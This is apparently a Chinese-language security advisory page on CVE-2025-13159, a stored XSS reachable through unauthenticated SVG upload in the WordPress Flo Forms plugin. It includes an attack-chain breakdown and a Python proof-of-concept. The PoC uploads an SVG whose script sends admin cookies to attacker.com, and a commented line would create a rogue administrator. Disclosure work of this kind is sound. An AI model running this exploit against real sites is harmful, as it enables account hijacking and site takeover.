IPBUF安全漏洞报告
English
CVE-2025-13159 CVSS 7.1 高危

CVE-2025-13159 WordPress Flo Forms插件SVG上传存储型XSS漏洞

披露日期: 2025-11-21

漏洞信息

漏洞编号
CVE-2025-13159
漏洞类型
存储型跨站脚本攻击(XSS)
CVSS评分
7.1 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Flo Forms – Easy Drag & Drop Form Builder for WordPress

相关标签

存储型XSSSVG上传绕过WordPress插件漏洞CVE-2025-13159Flo Forms未授权文件上传CVSS 7.1

漏洞概述

Flo Forms是WordPress平台上一款流行的拖拽式表单构建插件,在1.0.43及之前所有版本中存在严重的存储型跨站脚本漏洞。该漏洞源于插件通过未认证的AJAX端点(flo_form_submit)接收SVG文件上传,但未对上传文件内容进行充分的验证和过滤。攻击者无需任何认证即可上传包含恶意JavaScript代码的SVG文件。当WordPress管理员在后台访问或预览这些上传的SVG文件时,嵌入其中的恶意脚本将执行,可能导致管理员账户被劫持、敏感信息泄露,甚至进一步实现对整个网站的完全控制。此漏洞利用门槛低、危害大,建议立即采取修复措施。

技术细节

该漏洞的核心问题在于SVG文件上传功能的输入验证不足。SVG(可缩放矢量图形)作为一种XML格式的文件,可以包含<script>标签和事件处理器属性(如onload、onerror等)。攻击者可以构造如下恶意SVG文件:<?xml version="1.0"?><svg xmlns="http://www.w3.org/2000/svg"><script>alert(document.cookie)</script></svg>。插件的flo_form_submit端点直接接受文件上传请求(无需认证),并将文件保存到服务器指定目录。当管理员通过媒体库或直接访问该SVG文件时,浏览器会解析SVG并执行其中的JavaScript代码。由于SVG文件可以在多种上下文中被触发执行,攻击者可以窃取管理员的认证cookie、创建新的管理员账户、或在后台执行任意操作。漏洞存在于admin/class-flo-forms-admin.php、includes/class-flo-forms.php和public/class-flo-forms-public.php等多个文件中。

攻击链分析

STEP 1
步骤1
攻击者构造包含恶意JavaScript代码的SVG文件,利用SVG格式支持<script>标签和事件处理器的特性
STEP 2
步骤2
攻击者向目标WordPress站点的flo_form_submit AJAX端点发送文件上传请求,无需任何认证
STEP 3
步骤3
插件接收SVG文件并保存到服务器,由于缺乏内容验证,恶意文件被成功存储
STEP 4
步骤4
WordPress管理员访问媒体库或直接查看上传的SVG文件时,浏览器解析SVG并执行其中的JavaScript代码
STEP 5
步骤5
恶意脚本窃取管理员会话Cookie或执行后台操作(如创建管理员账户),导致网站被完全控制

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-13159 PoC - Malicious SVG File Upload # Target: WordPress site with Flo Forms plugin <= 1.0.43 import requests import sys # Malicious SVG payload with XSS svg_payload = '''<?xml version="1.0" encoding="UTF-8"?> <svg xmlns="http://www.w3.org/2000/svg" version="1.1"> <script type="text/javascript"> // Steal admin cookies and send to attacker fetch('https://attacker.com/steal?c=' + btoa(document.cookie), {mode: 'no-cors'}); // Or create admin user // fetch('/wp-admin/admin-ajax.php', {method: 'POST', body: 'action=create_user&user_login=hacker&user_pass=P@ssw0rd&role=administrator'}); </script> </svg>''' def exploit(target_url): # Target WordPress site target = target_url.rstrip('/') # Upload endpoint (unauthenticated) upload_url = f"{target}/wp-admin/admin-ajax.php" files = { 'flo_form_submit': ('malicious.svg', svg_payload, 'image/svg+xml'), 'form_id': (None, '1'), 'action': (None, 'flo_form_submit') } try: print(f"[*] Uploading malicious SVG to {target}...") response = requests.post(upload_url, files=files, timeout=10) if response.status_code == 200: print("[+] SVG file uploaded successfully!") print(f"[*] Response: {response.text}") print("[*] When admin views the SVG in WordPress admin, XSS will execute") else: print(f"[-] Upload failed with status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://victim.com") sys.exit(1) exploit(sys.argv[1])

影响范围

Flo Forms plugin for WordPress <= 1.0.43

防御指南

临时缓解措施
在WordPress配置文件中添加以下代码禁止SVG上传到媒体库,或使用插件禁用Flo Forms的SVG上传功能。同时建议临时关闭flo_form_submit端点,直到完成插件升级。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表